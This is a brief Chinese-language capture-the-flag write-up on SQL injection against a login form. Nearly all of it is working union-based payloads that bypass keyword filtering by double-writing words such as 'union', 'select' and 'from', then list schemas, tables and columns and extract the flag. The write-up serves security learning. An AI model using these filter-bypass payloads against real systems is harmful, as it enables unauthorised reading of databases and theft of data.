既然是sql注入，先檢視有沒有過濾字元

or union select應該都被過濾了

嘗試繞過方法，發現雙寫可以繞過，先用ununionion seselectlec去判斷有幾列

?username=123&password=1' ununionion seselectlect 1,2,3%23

發現有三列，回顯欄位為2和3

檢視當前資料庫

username=admin&password=1' ununionion seselectlect 1,2,database() %23

爆庫

group_concat(schema_name) from (information_schema.schemata)

?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom(infoorrmation_schema.schemata) %23

爆ctf庫的表

group_concat(table_name) from (information_schema.tables) where table_schema=

?username=admin&password=1' ununionion seselectlect 1,2,group_concat(table_name) frfromom(infoorrmation_schema.tables)whwhereere table_schema="ctf" %23

爆欄位

group_concat(column_name) from (information_schema.columns) where table_name=

username=admin&password=1' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag" %23

爆資料

group_concat(flag) from ()

?username=admin&password=1' ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23

得到flag